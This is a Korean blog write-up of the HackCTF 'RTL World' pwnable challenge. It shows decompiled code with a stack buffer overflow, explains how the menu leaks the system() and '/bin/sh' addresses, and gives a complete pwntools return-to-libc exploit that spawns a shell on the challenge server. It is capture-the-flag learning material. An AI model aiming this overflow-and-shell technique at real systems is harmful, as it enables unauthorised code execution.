문제 풀이 환경 : ubuntu 20.04 |
소스코드 복잡해보여서 쫄았는데 별거 아니었다. 뿌듯하다.
주어진 파일은 문제 바이너리 파일 뿐이다.
Analysis
IDA로 까보자. 너무 길어서 그냥 복붙했다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+10h] [ebp-90h]
char buf[128]; // [esp+14h] [ebp-8Ch]
void *system; // [esp+94h] [ebp-Ch]
void *handle; // [esp+98h] [ebp-8h]
void *binsh; // [esp+9Ch] [ebp-4h]
setvbuf(stdout, 0, 2, 0);
handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
system = dlsym(handle, "system");
dlclose(handle);
for ( binsh = system; memcmp(binsh, "/bin/sh", 8u); binsh = (char *)binsh + 1 )
;
puts("\n\nNPC [Village Presient] : ");
puts("Binary Boss made our village fall into disuse...");
puts("If you Have System Armor && Shell Sword.");
puts("You can kill the Binary Boss...");
puts("Help me Pwnable Hero... :(\n");
printf("Your Gold : %d\n", gold);
while ( 1 )
{
Menu();
printf(">>> ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
continue;
case 1:
::system("clear");
puts("[Binary Boss]\n");
puts("Arch: i386-32-little");
puts("RELRO: Partial RELRO");
puts("Stack: No canary found");
puts("NX: NX enabled");
puts("PIE: No PIE (0x8048000)");
puts("ASLR: Enable");
printf("Binary Boss live in %p\n", handle);
puts("Binart Boss HP is 140 + Armor + 4\n");
break;
case 2:
Get_Money();
break;
case 3:
if ( gold <= 1999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 1999;
printf("System Armor : %p\n", system);
}
break;
case 4:
if ( gold <= 2999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 2999;
printf("Shell Sword : %p\n", binsh);
}
break;
case 5:
printf("[Attack] > ");
read(0, buf, 0x400u); // bof
return 0;
case 6:
puts("Your Not Hero... Bye...");
exit(0);
return result;
}
}
}
메뉴를 보면 이렇게 생겼다.
- 바이너리 보호기법 정보 출력
- Gold 생산
- system 함수 주소 출력
- shell 주소 출력
- 여기서 BOF 발생!!
System 함수주소와 Shell 주소를 출력하려면 각각 1999 Gold, 2999 Gold가 필요하다.
Gold 생산은 어떻게 하는 것일까?
int Get_Money()
{
int result; // eax
int v1; // [esp+8h] [ebp-Ch]
int v2; // [esp+Ch] [ebp-8h]
int v3; // [esp+10h] [ebp-4h]
puts("\nThis world is F*cking JabonJui");
puts("1) Farming...");
puts("2) Item selling...");
puts("3) Hunting...");
v3 = 0;
v2 = rand();
printf("(Job)>>> ");
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 == 2 )
{
puts("\nItem selling...");
while ( v3 <= 350 )
++v3;
puts("+ 350 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
else if ( v1 > 2 )
{
if ( v1 == 3 )
{
puts("\nHunting...");
while ( v3 <= 500 )
++v3;
puts("+ 500 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
else if ( v1 == 4 )
{
puts("\nWow! you can find Hidden number!");
puts("Life is Just a One Shot...");
puts("Gambling...");
printf("+ %d Gold\n", v2);
gold += v2;
result = printf("\nYour Gold is %d\n", gold);
}
}
else if ( v1 == 1 )
{
puts("\nFarming...");
while ( v3 <= 100 )
++v3;
puts("+ 100 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
return result;
}
- 파밍 : Gold 100 획득
- 아이템 팔기 : Gold 350 획득
- 헌팅 : Gold 500 획득
헌팅해서 Gold를 수집하는게 젤 빠를 듯하다.
그리고 5번 메뉴에서 BOF가 일어나니 RET에 system함수를 넣어주고 인자로 shell을 주면 될 듯 하다~.
How to exploit
2번 메뉴를 통해 골드를 생산 후, 3번 4번 메뉴에서 필요한 것들의 주소를 가져와서 5번 메뉴에서 BOF를 일으켜 RET를 덮자.
RTL
Let's exploit
from pwn import *
#p = process('./rtl_world')
p = remote('ctf.j0n9hyun.xyz', 3010)
e = ELF('./rtl_world')
def make_money():
for i in range(0,10):
p.sendlineafter('>>> ', '2')
p.sendlineafter('>>> ', '3')
p.recvuntil('Your Gold is ')
gold = p.recv(4)
log.info('gold = '+gold)
def get_system():
p.sendlineafter('>>> ', '3')
p.recvuntil('System Armor : ')
system = p.recv(10)
#log.info('system = '+system)
return int(system, 16)
def get_shell():
p.sendlineafter('>>> ', '4')
p.recvuntil('Shell Sword : ')
shell = p.recv(10)
#log.info('shell = '+shell)
return int(shell, 16)
def exploit(system, shell):
payload = ''
payload += 'A' * 144
payload += p32(system)
payload += 'BBBB'
payload += p32(shell)
p.sendlineafter('>>> ', '5')
p.sendlineafter('> ', payload)
make_money()
system = get_system()
shell = get_shell()
log.info('system = '+ hex(system))
log.info('shell = '+ hex(shell))
exploit(system, shell)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] poet 풀이 (64bit, BOF) (0) | 2021.03.24 |
---|---|
[HackCTF : Pwnable] g++ pwn 풀이 (CPP) (0) | 2021.03.16 |
[HackCTF : Pwnable] Yes or no 풀이 (64bit, ROP) (미완) (0) | 2021.03.15 |
[HackCTF : Pwnable] BOF_PIE 풀이 (32bit, BOF, PIE) (0) | 2021.03.15 |
[HackCTF : Pwnable] Offset 풀이 (32bit, BOF) (0) | 2021.03.09 |